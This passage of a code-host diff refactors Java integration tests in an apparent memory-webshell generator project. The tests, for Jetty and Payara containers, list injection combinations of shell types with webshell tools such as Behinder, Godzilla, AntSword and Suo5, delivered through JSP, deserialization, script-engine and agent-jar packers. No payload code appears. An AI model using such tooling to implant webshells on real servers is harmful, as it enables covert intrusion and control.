arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
|
||||
+35
-35
@@ -1,10 +1,10 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.server.JettyShell;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -42,36 +42,36 @@ public class Jetty93ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
|
||||
+35
-35
@@ -1,10 +1,10 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.server.JettyShell;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -42,36 +42,36 @@ public class Jetty94ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
|
||||
+57
-57
@@ -1,9 +1,9 @@
|
||||
package com.reajason.javaweb.integration.payara;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -43,59 +43,59 @@ public class Payara5201ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user